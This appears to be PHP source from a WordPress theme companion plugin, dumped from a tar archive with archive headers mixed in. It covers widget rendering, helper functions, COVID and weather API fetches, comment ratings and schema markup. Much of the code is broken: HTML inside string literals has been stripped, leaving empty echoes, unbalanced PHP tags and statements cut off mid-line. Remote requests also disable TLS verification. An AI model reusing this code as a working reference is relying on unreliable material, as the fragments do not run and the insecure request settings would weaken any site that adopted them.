'; if ( ! empty( $settings['description'] ) ) { $output .= '
' . esc_html( $settings['description'] ) . '
'; } $output .= '
'; if ( ! empty( $settings['destination'] ) ) { $output .= ''; } if ( ! empty( $settings['dark_image']['url'] ) ) { $output .= '' . esc_attr( $settings['image']['alt'] ) . ' '; echo '
'; } } else { if ( ! empty( $settings['custom'] ) ) { echo '
' . html_entity_decode( $settings['custom'] ) . '
'; } } } } includes/helpers.php000064400000047575147206624460010562 0ustar00]+?>)(<[^>\/][^>]*?>)/', '$1 $2', $content ); $content = nl2br( $content ); $content = strip_tags( $content ); if ( preg_match( "/[\x{4e00}-\x{9fa5}]+/u", $content ) ) { $content = preg_replace( '/[\x80-\xff]{1,3}/', ' ', $content, - 1, $n ); $count += str_word_count( $content ); } elseif ( preg_match( "/[А-Яа-яЁё]/u", $content ) ) { $count = count( preg_split( '~[^\p{L}\p{N}\']+~u', $content ) ); } else { $count = count( preg_split( '/\s+/', $content ) ); } return $count; } } if ( ! function_exists( 'foxiz_pretty_number' ) ) { /** * @param $number * * @return int|string * pretty number */ function foxiz_pretty_number( $number ) { $number = intval( $number ); if ( $number > 999999 ) { $number = str_replace( '.00', '', number_format( ( $number / 1000000 ), 2 ) ) . foxiz_attr__( 'M', 'foxiz-core' ); } elseif ( $number > 999 ) { $number = str_replace( '.0', '', number_format( ( $number / 1000 ), 1 ) ) . foxiz_attr__( 'k', 'foxiz-core' ); } return $number; } } if ( ! function_exists( 'foxiz_extract_number' ) ) { /** * @param $str * * @return int * extract number */ function foxiz_extract_number( $str ) { return intval( preg_replace( '/[^0-9]+/', '', $str ), 10 ); } } if ( ! function_exists( 'foxiz_create_widget_heading_field' ) ) { /** * @param array $param * create text field */ function foxiz_create_widget_heading_field( $param = [] ) { $param = wp_parse_args( $param, array( 'id' => '', 'title' => '', 'name' => '', 'description' => '', ) ); ?>

' . html_entity_decode( esc_html( $param['description'] ) ) . '

' : false; ?>
'', 'title' => '', 'name' => '', 'value' => '', 'description' => '', ) ); ?>

' . html_entity_decode( esc_html( $param['description'] ) ) . '

' : false; ?>
'', 'title' => '', 'name' => '', 'options' => array(), 'data' => '', 'value' => '', 'description' => '' ) ); if ( ! empty( $param['data'] ) ) { switch ( $param['data'] ) { case 'menu' : $param['options'] = foxiz_menu_selection(); break; case 'menu_locations' : $param['options'] = foxiz_menu_location_selection(); break; case 'page' : $param['options'] = foxiz_page_selection(); break; case 'sidebar' : $param['options'] = foxiz_sidebar_selection(); break; case 'user' : $param['options'] = foxiz_user_selection(); break; case 'template' : $param['options'] = foxiz_ruby_template_selection(); break; case 'category' : $param['options'] = foxiz_config_cat_selection(); break; case 'on-off' : $param['options'] = array( 'on' => esc_html__( 'Enable', 'foxiz-core' ), 'off' => esc_html__( 'Disable', 'foxiz-core' ) ); break; } } ?>

' . html_entity_decode( esc_html( $param['description'] ) ) . '

' : false; ?>
'', 'title' => '', 'name' => '', 'value' => '', 'description' => '', 'row' => '', ) ); if ( empty( $param['row'] ) ) { $param['row'] = 4; } ?>

' . html_entity_decode( esc_html( $param['description'] ) ) . '

' : false; ?>
$value ) { $data[ $key ] = $value; } } return $data; } } if ( ! function_exists( 'foxiz_page_selection' ) ) { /** * @return array * get page select */ function foxiz_page_selection() { $data = array(); $args['posts_per_page'] = - 1; $pages = get_pages( $args ); if ( ! empty ( $pages ) ) { foreach ( $pages as $page ) { $data[ $page->ID ] = $page->post_title; } } return $data; } } if ( ! function_exists( 'foxiz_menu_selection' ) ) { /** * @return array * menu selection */ function foxiz_menu_selection() { $data = array(); $menus = wp_get_nav_menus(); if ( ! empty ( $menus ) ) { foreach ( $menus as $item ) { $data[ $item->term_id ] = $item->name; } } return $data; } } if ( ! function_exists( 'foxiz_config_cat_selection' ) ) { /** * @param false $dynamic * @param string $post_type * * @return array */ function foxiz_config_cat_selection( $dynamic = false, $post_type = 'post' ) { $data = array( '0' => esc_html__( '-- All categories --', 'foxiz-core' ), ); if ( $dynamic ) { $data['dynamic'] = esc_html__( 'Dynamic Query', 'foxiz-core' ); } $categories = get_categories( array( 'hide_empty' => 0, 'type' => $post_type, 'parent' => '0' ) ); $pos = 1; foreach ( $categories as $index => $item ) { $children = get_categories( array( 'hide_empty' => 0, 'type' => $post_type, 'child_of' => $item->term_id, ) ); if ( ! empty( $children ) ) { array_splice( $categories, $pos + $index, 0, $children ); $pos += count( $children ); } } foreach ( $categories as $item ) { $deep = ''; if ( ! empty( $item->parent ) ) { $deep = '--'; } $data[ $item->term_id ] = $deep . ' ' . esc_attr( $item->name ) . ' - [ID: ' . esc_attr( $item->term_id ) . ' / Posts: ' . foxiz_count_posts_category($item) . ']'; } return $data; } } if ( ! function_exists( 'foxiz_count_posts_category' ) ) { /** * @param $item * * @return int */ function foxiz_count_posts_category( $item ) { $count = $item->category_count; $tax_terms = get_terms( 'category', array( 'child_of' => $item->term_id, ) ); foreach ( $tax_terms as $tax_term ) { $count += $tax_term->count; } return intval( $count ); } } if ( ! function_exists( 'foxiz_ruby_template_selection' ) ) { /** * @return array * get page select */ function foxiz_ruby_template_selection() { $data = array(); $args['posts_per_page'] = - 1; $args['post_type'] = 'rb-etemplate'; $templates = get_posts( $args ); $data[0] = esc_html__( '- Select a Template -', 'foxiz-core' ); if ( ! empty ( $templates ) ) { foreach ( $templates as $template ) { $data[ $template->ID ] = $template->post_title . ' - [Ruby_E_Template id="' . $template->ID . '"]'; } } return $data; } } if ( ! function_exists( 'foxiz_sidebar_selection' ) ) { /** * @return array * sidebar selection */ function foxiz_sidebar_selection() { $data = array(); global $wp_registered_sidebars; foreach ( $wp_registered_sidebars as $key => $value ) { $data[ $key ] = $value['name']; } return $data; } } if ( ! function_exists( 'foxiz_user_selection' ) ) { /** * @return array * user selection */ function foxiz_user_selection() { $data = array(); $users = get_users(); if ( ! empty ( $users ) ) { foreach ( $users as $user ) { $data[ $user->ID ] = $user->display_name; } } return $data; } } if ( ! class_exists( 'foxiz_get_user_ip' ) ) { /** * @return string|string[]|null * get user IP */ function foxiz_get_user_ip() { if ( getenv( 'HTTP_CLIENT_IP' ) ) { $user_ip = getenv( 'HTTP_CLIENT_IP' ); } elseif ( getenv( 'HTTP_X_FORWARDED_FOR' ) ) { $user_ip = getenv( 'HTTP_X_FORWARDED_FOR' ); } elseif ( getenv( 'HTTP_X_FORWARDED' ) ) { $user_ip = getenv( 'HTTP_X_FORWARDED' ); } elseif ( getenv( 'HTTP_FORWARDED_FOR' ) ) { $user_ip = getenv( 'HTTP_FORWARDED_FOR' ); } elseif ( getenv( 'HTTP_FORWARDED' ) ) { $user_ip = getenv( 'HTTP_FORWARDED' ); } else { $user_ip = $_SERVER['REMOTE_ADDR']; } if ( ! filter_var( $user_ip, FILTER_VALIDATE_IP ) ) { return '127.0.0.1'; } else { return foxiz_mask_anonymise_ip( $user_ip ); } } } if ( ! function_exists( 'foxiz_mask_anonymise_ip' ) ) { /** * @param $user_ip * * @return string|string[]|null * foxiz mask anonymise IP */ function foxiz_mask_anonymise_ip( $user_ip ) { if ( strpos( $user_ip, "." ) ) { return preg_replace( '~[0-9]+$~', 'x', $user_ip ); } else { return preg_replace( '~[0-9]*:[0-9]+$~', 'xxxx:xxxx', $user_ip ); } } } if ( ! function_exists( 'foxiz_dark_mode' ) ) { /** dark mode activated */ function foxiz_dark_mode() { if ( foxiz_get_option( 'dark_mode' ) || foxiz_get_option( 'dark_mode_default' ) ) { return true; } return false; } } if ( ! function_exists( 'foxiz_is_svg' ) ) { /** * @param string $attachment * * @return bool */ function foxiz_is_svg( $attachment = '' ) { if ( substr( $attachment, - 4, 4 ) === '.svg' ) { return true; } return false; } } if ( ! class_exists( 'Rb_Category_Select_Walker', false ) ) { /** * Class Rb_Category_Select_Walker */ class Rb_Category_Select_Walker extends Walker { var $tree_type = 'category'; var $cat_array = array(); var $db_fields = array( 'id' => 'term_id', 'parent' => 'parent' ); public function start_lvl( &$output, $depth = 0, $args = array() ) { } public function end_lvl( &$output, $depth = 0, $args = array() ) { } public function start_el( &$output, $object, $depth = 0, $args = array(), $current_object_id = 0 ) { $this->cat_array[ str_repeat( ' - ', $depth ) . $object->name . ' - [ ID: ' . $object->term_id . ' / Posts: ' . $object->category_count . ' ]' ] = $object->term_id; } public function end_el( &$output, $object, $depth = 0, $args = array() ) { } } } if ( ! function_exists( 'foxiz_get_breadcrumb' ) ) { function foxiz_get_breadcrumb( $classes = '' ) { if ( ! foxiz_get_option( 'breadcrumb' ) ) { return false; } ob_start(); $class_name = 'breadcrumb-wrap'; if ( function_exists( 'bcn_display' ) ) : $class_name .= ' breadcrumb-navxt'; if ( ! empty( $classes ) ) { $class_name .= ' ' . $classes; } ?>
', '
' ); } elseif ( function_exists( 'rank_math_the_breadcrumbs' ) ) { $class_name .= ' rank-math-breadcrumb'; if ( ! empty( $classes ) ) { $class_name .= ' ' . $classes; } rank_math_the_breadcrumbs( array( 'wrap_before' => '', ) ); } endif; return ob_get_clean(); } } if ( ! function_exists( 'foxiz_calc_average_rating' ) ) { /** * @param $post_id * * @return false */ function foxiz_calc_average_rating( $post_id ) { global $wpdb; $data = array(); $total_review = array(); $raw_total = $wpdb->get_results( $wpdb->prepare( " SELECT meta_value, COUNT( * ) as meta_value_count FROM $wpdb->commentmeta LEFT JOIN $wpdb->comments ON $wpdb->commentmeta.comment_id = $wpdb->comments.comment_ID WHERE meta_key = 'rbrating' AND comment_post_ID = %d AND comment_approved = '1' AND meta_value > 0 GROUP BY meta_value ", $post_id ) ); foreach ( $raw_total as $count ) { $total_review[] = absint( $count->meta_value_count ); } $data['count'] = array_sum( $total_review ); $ratings = $wpdb->get_var( $wpdb->prepare( " SELECT SUM(meta_value) FROM $wpdb->commentmeta LEFT JOIN $wpdb->comments ON $wpdb->commentmeta.comment_id = $wpdb->comments.comment_ID WHERE meta_key = 'rbrating' AND comment_post_ID = %d AND comment_approved = '1' AND meta_value > 0 ", $post_id ) ); if ( ! empty( $data['count'] ) && ! empty( $ratings ) ) { $data['average'] = number_format( $ratings / $data['count'], 1, '.', '' ); } update_post_meta( $post_id, 'foxiz_user_rating', $data ); return false; } } if ( ! function_exists( 'foxiz_get_image_size' ) ) { /** * @param $filename * * @return array|false */ function foxiz_get_image_size( $filename ) { if ( is_string( $filename ) ) { return @getimagesize( $filename ); } return []; } } if ( ! function_exists( 'foxiz_calc_crop_sizes' ) ) { /** * @return array[] */ function foxiz_calc_crop_sizes() { $settings = get_option( FOXIZ_TOS_ID ); $crop = true; if ( ! empty( $settings['crop_position'] ) && ( 'top' === $settings['crop_position'] ) ) { $crop = array( 'center', 'top' ); } $sizes = array( 'foxiz_crop_g1' => array( 330, 220, $crop ), 'foxiz_crop_g2' => array( 420, 280, $crop ), 'foxiz_crop_g3' => array( 615, 410, $crop ), 'foxiz_crop_o1' => array( 860, 0, $crop ), 'foxiz_crop_o2' => array( 1536, 0, $crop ), ); foreach ( $sizes as $crop_id => $size ) { if ( empty( $settings[ $crop_id ] ) ) { unset( $sizes[ $crop_id ] ); } } if ( ! empty( $settings['featured_crop_sizes'] ) && is_array( $settings['featured_crop_sizes'] ) ) { foreach ( $settings['featured_crop_sizes'] as $custom_size ) { if ( ! empty( $custom_size ) ) { $custom_size = preg_replace( '/\s+/', '', $custom_size );; $hw = explode( 'x', $custom_size ); if ( ! empty( $hw[0] ) && ! empty( $hw[1] ) ) { $crop_id = 'foxiz_crop_' . $custom_size; $sizes[ $crop_id ] = array( absint( $hw[0] ), absint( $hw[1] ), $crop ); } } } } return $sizes; } } includes/extras.php000064400000016102147206624460010404 0ustar00 0, 'deaths' => 0, ); $params = array( 'sslverify' => false, 'timeout' => 100 ); if ( 'all' === (string) $country ) { $response = wp_remote_get( 'https://coronavirus-tracker-api.herokuapp.com/v2/latest', $params ); } else { $response = wp_remote_get( 'https://coronavirus-tracker-api.herokuapp.com/v2/locations?country_code=' . esc_attr( $country ), $params ); } if ( ! is_wp_error( $response ) && isset( $response['response']['code'] ) && 200 === $response['response']['code'] ) { $response = json_decode( wp_remote_retrieve_body( $response ) ); if ( ! empty( $response->latest ) ) { $latest = $response->latest; if ( ! empty( $latest->confirmed ) ) { $data['confirmed'] = $latest->confirmed; } if ( ! empty( $latest->deaths ) ) { $data['deaths'] = $latest->deaths; } set_transient( 'rb_covid_' . $country, $data, 43200 ); } } if ( empty( $data['confirmed'] ) || empty( $data['deaths'] ) ) { if ( 'all' === $country ) { $response = wp_remote_get( 'https://disease.sh/v3/covid-19/all?yesterday=false&allowNull=true', $params ); } else { $response = wp_remote_get( 'https://disease.sh/v3/covid-19/countries/' . esc_attr( $country ) . '?yesterday=true&strict=false', $params ); } if ( ! is_wp_error( $response ) && isset( $response['response']['code'] ) && 200 === $response['response']['code'] ) { $response = json_decode( wp_remote_retrieve_body( $response ) ); if ( ! empty( $response->cases ) ) { $data['confirmed'] = $response->cases; } if ( ! empty( $response->deaths ) ) { $data['deaths'] = $response->deaths; } set_transient( 'rb_covid_' . $country, $data, 43200 ); } } if ( empty( $data['confirmed'] ) || empty( $data['deaths'] ) ) { if ( 'all' === $country ) { $response = wp_remote_get( 'https://covid19.mathdro.id/api', $params ); } else { $response = wp_remote_get( 'https://covid19.mathdro.id/api/countries/' . esc_attr( $country ), $params ); } if ( ! is_wp_error( $response ) && isset( $response['response']['code'] ) && 200 === $response['response']['code'] ) { $response = json_decode( wp_remote_retrieve_body( $response ) ); if ( ! empty( $response->confirmed->value ) ) { $data['confirmed'] = $response->confirmed->value; } if ( ! empty( $response->deaths->value ) ) { $data['deaths'] = $response->deaths->value; } set_transient( 'rb_covid_' . $country, $data, 43200 ); } } return $data; } } if ( ! function_exists( 'foxiz_render_covid_data' ) ) { /** * @param $attrs * * @return false|string */ function foxiz_render_covid_data( $attrs ) { $settings = shortcode_atts( array( 'country_code' => '', 'country_name' => '', 'deaths' => '1', 'title_tag' => '', 'icon' => '', 'confirmed_label' => foxiz_html__( 'Confirmed', 'foxiz-core' ), 'death_label' => foxiz_html__( 'Death', 'foxiz-core' ), 'date' => '1' ), $attrs ); if ( empty( $settings['country_code'] ) ) { $settings['country_code'] = 'all'; } if ( empty( $settings['title_tag'] ) ) { $settings['title_tag'] = 'h3'; } $data = rb_get_covid_data( trim( $settings['country_code'] ) ); ob_start(); ?>
<' . esc_attr( $settings['title_tag'] ) . '>' . esc_html( $settings['country_name'] ) . '
'; } ?>

'; $output .= '
'; if ( ! empty( $settings['title'] ) ) { $output .= '

' . wp_kses( $settings['title'], 'foxiz' ) . '

'; } if ( ! empty( $settings['description'] ) ) { $output .= '

' . wp_kses( $settings['description'], 'foxiz' ) . '

'; } $output .= '
'; if ( ! empty( $settings['price'] ) ) { $output .= '
'; if ( ! empty( $settings['unit'] ) ) { $output .= '' . esc_html( $settings['unit'] ) . ''; } $output .= '' . esc_html( $settings['price'] ) . ''; if ( ! empty( $settings['tenure'] ) ) { $output .= '' . esc_html( $settings['tenure'] ) . ''; } $output .= '
'; } if ( is_array( $settings['features'] ) ) { $output .= '
'; foreach ( $settings['features'] as $feature ) { if ( ! empty( $feature['feature'] ) ) { $output .= '' . esc_html( $feature['feature'] ) . ''; } } $output .= '
'; } $output .= '
'; if ( ! empty( $settings['shortcode'] ) ) { $output .= do_shortcode( $settings['shortcode'] ); } elseif ( ! empty( $settings['register_button'] ) && class_exists( 'SwpmSettings' ) ) { $output .= '' . esc_html( $settings['register_button'] ) . ''; } $output .= '
'; $output .= '
'; return $output; } }includes/actions.php000064400000022200147206624460010532 0ustar00 5 || $_POST['rbrating'] < 0 ) { return; } update_comment_meta( $comment_id, 'rbrating', intval( $_POST['rbrating'] ), true ); foxiz_calc_average_rating( absint( $_POST['comment_post_ID'] ) ); } return; } } if ( ! function_exists( 'foxiz_edit_comment_review_form' ) ) { /** * @param $output * @param $comment * * @return mixed|string */ function foxiz_edit_comment_review_form( $output, $comment ) { $rating = get_comment_meta( $comment->comment_ID, 'rbrating', true ); if ( empty( $rating ) ) { return $output; } $output .= '
'; $output .= ''; $output .= '
'; return $output; } } if ( ! function_exists( 'foxiz_filter_load_next_content' ) ) { /** * @param $content * * @return array|mixed|string|string[] */ function foxiz_filter_load_next_content( $content ) { global $wp_query; if ( ! isset( $wp_query->query_vars['rbsnp'] ) || ! is_single() ) { return $content; } else { return str_replace( "(adsbygoogle = window.adsbygoogle || []).push({});", '', $content ); } } } if ( ! function_exists( 'foxiz_blog_posts_per_page' ) ) { function foxiz_blog_posts_per_page( $query ) { if ( is_admin() ) { return false; } if ( $query->is_main_query() ) { /** set post_status */ if ( $query->is_search() || $query->is_category() || $query->is_tag() || $query->is_author() || $query->is_archive() ) { } if ( $query->is_home() ) { $blog_posts_per_page = foxiz_get_option( 'blog_posts_per_page' ); if ( ! empty( $blog_posts_per_page ) ) { $query->set( 'posts_per_page', intval( $blog_posts_per_page ) ); } } elseif ( $query->is_search() ) { $posts_per_page = foxiz_get_option( 'search_posts_per_page' ); if ( ! empty( $posts_per_page ) ) { $query->set( 'posts_per_page', absint( $posts_per_page ) ); } } elseif ( $query->is_category() ) { $query->set( 'post_status', 'publish' ); $category = $query->get_queried_object_id(); $data = get_option( 'foxiz_category_meta', array() ); if ( ! empty( $data[ $category ]['posts_per_page'] ) ) { $posts_per_page = $data[ $category ]['posts_per_page']; } else { $posts_per_page = foxiz_get_option( 'category_posts_per_page' ); } if ( ! empty( $posts_per_page ) ) { $query->set( 'posts_per_page', absint( $posts_per_page ) ); } if ( ! empty( $data[ $category ]['tag_not_in'] ) ) { $tags = explode( ',', $data[ $category ]['tag_not_in'] ); $tags = array_unique( $tags ); $tag_ids = array(); foreach ( $tags as $tag ) { $tag = get_term_by( 'slug', trim( $tag ), 'post_tag' ); if ( ! empty( $tag->term_id ) ) { array_push( $tag_ids, $tag->term_id ); } } if ( count( $tag_ids ) ) { $query->set( 'tag__not_in', $tag_ids ); } } } elseif ( $query->is_author() ) { $author_posts_per_page = foxiz_get_option( 'author_posts_per_page' ); if ( ! empty( $author_posts_per_page ) ) { $query->set( 'posts_per_page', intval( $author_posts_per_page ) ); } } elseif ( $query->is_archive() ) { $query->set( 'post_status', 'publish' ); $posts_per_page = foxiz_get_option( 'archive_posts_per_page' ); if ( ! empty( $posts_per_page ) ) { $query->set( 'posts_per_page', absint( $posts_per_page ) ); } } } return false; } } if ( ! function_exists( 'foxiz_filter_search' ) ) { /** * @param $query * * @return mixed */ function foxiz_filter_search( $query ) { if ( is_admin() ) { return $query; } $only_post = foxiz_get_option( 'search_only_post' ); if ( ! empty( $only_post ) && $query->is_search() && $query->is_main_query() ) { $query->set( 'post_type', 'post' ); } return $query; } } if ( ! function_exists( 'foxiz_bcn_primary_category' ) ) { /** * @param $terms * @param $id * @param $type * @param $taxonomy * * @return array|false|WP_Error|WP_Term|null */ function foxiz_bcn_primary_category( $terms, $id, $type, $taxonomy ) { if ( 'post' === $type ) { $primary_category = rb_get_meta( 'primary_category', $id ); if ( empty( $primary_category ) ) { return $terms; }; return get_term_by( 'id', $primary_category, $taxonomy ); } return $terms; } }includes/widget.php000064400000072214147206624460010367 0ustar00 120 ) ); if ( is_wp_error( $now_ping_get ) ) { weather_error(); return false; } $city_data = json_decode( $now_ping_get['body'] ); if ( isset( $city_data->cod ) && $city_data->cod === 404 ) { weather_error(); return false; } else { $weather_data['now'] = $city_data; } if ( $days_to_show !== 'hide' ) { $weather_data['forecast'] = array(); $rb_forecast_ping = "https://api.openweathermap.org/data/2.5/forecast?" . $your_city . "&lang=" . $locale . "&units=" . $units . "&cnt=35&appid=" . $api_key; $rb_forecast_ping_get = wp_remote_get( $rb_forecast_ping, array( 'timeout' => 120 ) ); $rb_forecast_data = json_decode( $rb_forecast_ping_get['body'] ); if ( isset( $rb_forecast_data->cod ) && $rb_forecast_data->cod === 404 ) { weather_error(); return false; } else { $weather_data['forecast'] = $rb_forecast_data; } } } if ( $weather_data['now'] || $weather_data['forecast'] ) { set_transient( $weather_transient_name, $weather_data, 10800 ); } $ruby_today = $weather_data['now']; if ( ! empty( $ruby_today->main->temp ) ) { $ruby_today_temp = round( $ruby_today->main->temp ); } if ( ! empty( $ruby_today->main->temp_max ) ) { $ruby_today_high = round( $ruby_today->main->temp_max ); } if ( ! empty( $ruby_today->main->temp_min ) ) { $ruby_today_low = round( $ruby_today->main->temp_min ); } if ( ! empty( $ruby_today->main->humidity ) ) { $ruby_today->main->humidity = round( $ruby_today->main->humidity ); } if ( ! empty( $ruby_today->wind->speed ) && 0 !== ( $ruby_today->wind->speed ) ) { $ruby_today->wind->speed = round( $ruby_today->wind->speed ); } $speed_text = ( $units === "metric" ) ? esc_html__( 'km/h', 'foxiz-core' ) : esc_html__( 'mph', 'foxiz-core' ); if ( ! empty( $ruby_today->name ) ) { $name_country = $ruby_today->name; } if ( ! empty( $ruby_today->weather[0]->description ) ) { $weather_description = $ruby_today->weather[0]->description; } if ( ! empty( $ruby_today->main->humidity ) ) { $weather_humidity = $ruby_today->main->humidity . '' . esc_html__( '%', 'foxiz-core' ); } if ( ! empty( $ruby_today->wind->speed ) ) { $weather_speed = $ruby_today->wind->speed . ' ' . esc_html( $speed_text ) . ' '; } if ( ! empty( $ruby_today->weather[0]->icon ) ) { $ruby_today_icon = $ruby_today->weather[0]->icon; $now_w_icon = rb_weather_icon( $ruby_today_icon ); } ob_start(); if ( ( 401 !== $weather_data['now']->cod ) && ! empty( $options['api_key'] ) ) : $classes = 'rb-weather-wrap'; if ( ! empty( $options['color_scheme'] ) ) { $classes .= ' light-scheme'; } ?>
_
list ) ) ) : ?>
list as $rb_forecast ) : $day_of_week = date( 'Ymd', $rb_forecast->dt ); if ( $today_date > $day_of_week ) { continue; } if ( $today_date == $day_of_week ) { if ( ! empty( $rb_forecast->main->temp_max ) && $rb_forecast->main->temp_max > $ruby_today_high ) { $ruby_today_high = round( $rb_forecast->main->temp_max ); } if ( ! empty( $rb_forecast->main->temp_min ) && $rb_forecast->main->temp_min < $ruby_today_low ) { $ruby_today_low = round( $rb_forecast->main->temp_min ); } } if ( empty( $rb_forecast_days[ $day_of_week ] ) ) { $rb_forecast_days[ $day_of_week ] = array( 'utc' => $rb_forecast->dt, 'icon' => $rb_forecast->weather[0]->icon, 'temp' => ! empty( $rb_forecast->main->temp_max ) ? round( $rb_forecast->main->temp_max ) : '', ); } else { if ( ( $rb_forecast->main->temp_max ) > ( $rb_forecast_days[ $day_of_week ]['temp'] ) ) { $rb_forecast_days[ $day_of_week ]['temp'] = round( $rb_forecast->main->temp_max ); $rb_forecast_days[ $day_of_week ]['icon'] = $rb_forecast->weather[0]->icon; } } endforeach; $count = 1; foreach ( $rb_forecast_days as $rb_forecast_day ) : $forecast_icon = rb_weather_icon( $rb_forecast_day['icon'] ); $rb_the_day = date_i18n( 'D', $rb_forecast_day['utc'] ); ?>
$protocol . '://schema.org', '@type' => 'WebSite', '@id' => $home_url . '#website', 'url' => $home_url, 'name' => get_bloginfo( 'name' ), 'potentialAction' => array( '@type' => 'SearchAction', 'target' => $home_url . '?s={search_term_string}', 'query-input' => 'required name=search_term_string', ), ); echo '', "\n"; return false; } public function site_description() { if ( ! is_front_page() ) { return false; } $content = foxiz_get_option( 'site_description' ); if ( empty( $content ) ) { $content = get_bloginfo( 'description' ); } if ( ! empty ( $content ) ) { echo ''; } return false; } function schema_organization() { $schema = foxiz_get_option( 'organization_markup' ); if ( empty( $schema ) ) { return false; } $site_street = foxiz_get_option( 'site_street' ); $site_locality = foxiz_get_option( 'site_locality' ); $site_phone = foxiz_get_option( 'site_phone' ); $site_email = foxiz_get_option( 'site_email' ); $postal_code = foxiz_get_option( 'postal_code' ); $protocol = foxiz_protocol(); $home_url = home_url( '/' ); $json_ld = array( '@context' => $protocol . '://schema.org', '@type' => 'Organization', 'legalName' => get_bloginfo( 'name' ), 'url' => $home_url ); if ( ! empty( $site_street ) || ! empty( $site_locality ) ) { $json_ld['address']['@type'] = 'PostalAddress'; if ( ! empty( $site_street ) ) { $json_ld['address']['streetAddress'] = esc_html( $site_street ); } if ( ! empty( $site_locality ) ) { $json_ld['address']['addressLocality'] = esc_html( $site_locality ); } if ( ! empty( $postal_code ) ) { $json_ld['address']['postalCode'] = esc_html( $postal_code ); } } if ( ! empty( $site_email ) ) { $json_ld['email'] = esc_html( $site_email ); } if ( ! empty( $site_phone ) ) { $json_ld['contactPoint'] = array( '@type' => 'ContactPoint', 'telephone' => esc_html( $site_phone ), 'contactType' => 'customer service', ); } $logo = foxiz_get_option( 'site_logo' ); if ( ! empty( $logo['url'] ) ) { $json_ld['logo'] = $logo['url']; } $social = array( foxiz_get_option( 'facebook' ), foxiz_get_option( 'twitter' ), foxiz_get_option( 'instagram' ), foxiz_get_option( 'pinterest' ), foxiz_get_option( 'linkedin' ), foxiz_get_option( 'tumblr' ), foxiz_get_option( 'flickr' ), foxiz_get_option( 'skype' ), foxiz_get_option( 'snapchat' ), foxiz_get_option( 'myspace' ), foxiz_get_option( 'youtube' ), foxiz_get_option( 'bloglovin' ), foxiz_get_option( 'digg' ), foxiz_get_option( 'dribbble' ), foxiz_get_option( 'soundcloud' ), foxiz_get_option( 'vimeo' ), foxiz_get_option( 'reddit' ), foxiz_get_option( 'vk' ), foxiz_get_option( 'telegram' ), foxiz_get_option( 'whatsapp' ), foxiz_get_option( 'rss' ) ); foreach ( $social as $key => $el ) { if ( empty( $el ) || '#' === $el ) { unset( $social[ $key ] ); } } if ( count( $social ) ) { $json_ld['sameAs'] = array_values( $social ); } echo '', "\n"; return false; } /** * @return false */ function article_markup() { if ( ! is_singular( 'post' ) ) { return false; } $markup = rb_get_meta( 'article_markup' ); if ( ( ! empty( $markup ) && '-1' === (string) $markup ) || ( empty( $markup ) || 'default' === $markup ) && ! foxiz_get_option( 'single_post_article_markup' ) ) { return false; } $protocol = foxiz_protocol(); $publisher = get_bloginfo( 'name' ); $logo = foxiz_get_option( 'logo' ); $author_name = get_the_author_meta( 'display_name' ); $author_link = get_the_author_meta( 'url' ); if ( empty( $author_link ) ) { $author_link = get_author_posts_url( get_the_author_meta( 'ID' ) ); } if ( ! empty( $logo['url'] ) ) { $publisher_logo = esc_url( $logo['url'] ); } $subtitle = rb_get_meta( 'tagline' ); $feat_attachment = wp_get_attachment_image_src( get_post_thumbnail_id( get_the_ID() ), 'full' ); ?> $protocol . '://schema.org', '@type' => 'Product', 'description' => $description, 'image' => $image, 'name' => $name, 'mpn' => $post_id, 'sku' => $sku, 'brand' => array( '@type' => 'Brand', 'name' => get_bloginfo( 'name' ), ), ); $json_ld['review'] = array( 'author' => array( '@type' => 'Person', 'name' => $author ), '@type' => 'Review', 'reviewRating' => array( '@type' => 'Rating', 'ratingValue' => $average, 'bestRating' => $bestRating, 'worstRating' => $worstRating, ), ); $json_ld['aggregateRating'] = array( '@type' => 'AggregateRating', 'ratingValue' => $rating_value, 'ratingCount' => $rating_count, 'bestRating' => $bestRating, 'worstRating' => $worstRating, ); if ( ! empty( $settings['destination'] ) && ! empty( $settings['price'] ) ) { if ( empty( $settings['currency'] ) ) { $settings['currency'] = 'USD'; } $json_ld['offers'] = array( '@type' => 'Offer', 'url' => esc_url( $settings['destination'] ), 'price' => preg_replace( '/\D/', '', $settings['price'] ), 'priceCurrency' => $settings['currency'], 'itemCondition' => 'https://schema.org/UsedCondition', 'availability' => 'https://schema.org/InStock', ); } echo '', "\n"; return false; } /** * @return false */ function open_graph() { $open_graph = foxiz_get_option( 'open_graph' ); if ( empty( $open_graph ) ) { return false; } if ( ! is_singular() || is_front_page() ) { return false; } if ( is_plugin_active( 'wordpress-seo/wp-seo.php' ) ) { $yoast_social = get_option( 'wpseo_social' ); if ( ! empty( $yoast_social['opengraph'] ) ) { return false; } } global $post; $facebook_app_id = foxiz_get_option( 'facebook_app_id' ); ?> ID ) ) : $thumbnail_src = wp_get_attachment_image_src( get_post_thumbnail_id( $post->ID ), 'foxiz_780x0-2x' ); if ( ! empty( $thumbnail_src[0] ) ) : ?> "ListItem", 'position' => $index, 'url' => get_permalink( $post_id ), 'name' => get_the_title( $post_id ), 'image' => get_the_post_thumbnail_url( $post_id, 'full' ) ); array_push( $items_list, $data ); $index ++; } $post_data = array( '@context' => 'https://schema.org', '@type' => 'ItemList', "itemListElement" => $items_list ); echo '', "\n"; return false; } /** * @param $classes * * @return mixed */ function remove_hatom( $classes ) { foreach ( $classes as $key => $value ) { if ( $value === 'hentry' ) { unset( $classes[ $key ] ); } } return $classes; } /** Speed optimized */ function lazy_load() { if ( empty( foxiz_get_option( 'lazy_load' ) ) ) { return false; } else { return true; } } function set_elementor_font_display() { if ( empty( get_option( 'elementor_font_display' ) ) ) { update_option( 'elementor_font_display', 'swap' ); } } /** * @param $attr * @param $attachment * @param $size * * @return mixed */ function optimize_featured_image( $attr, $attachment, $size ) { if ( foxiz_get_option( 'disable_srcset' ) ) { unset( $attr['srcset'] ); unset( $attr['sizes'] ); } return $attr; } function is_elementor() { if ( ! is_page() ) { return false; } $document = false; if ( class_exists( 'Elementor\Plugin' ) ) { $document = Elementor\Plugin::$instance->documents->get( get_the_ID() ); } if ( $document && $document->is_built_with_elementor() ) { return true; } return false; } function enqueue_optimized() { if ( ! empty( $_GET['elementor-preview'] ) || is_admin() || foxiz_is_amp() ) { return false; } if ( foxiz_get_option( 'disable_dashicons' ) && ! is_user_logged_in() ) { wp_deregister_style( 'dashicons' ); } if ( foxiz_get_option( 'disable_polyfill' ) && ! is_admin() ) { wp_deregister_script( 'wp-polyfill' ); } if ( foxiz_get_option( 'disable_block_style' ) && $this->is_elementor() ) { wp_deregister_style( 'wp-block-library' ); } } function start_head_buffer() { if ( foxiz_is_amp() ) { return false; } ob_start(); } /** * @return false */ function end_head_buffer() { if ( foxiz_is_amp() ) { return false; } 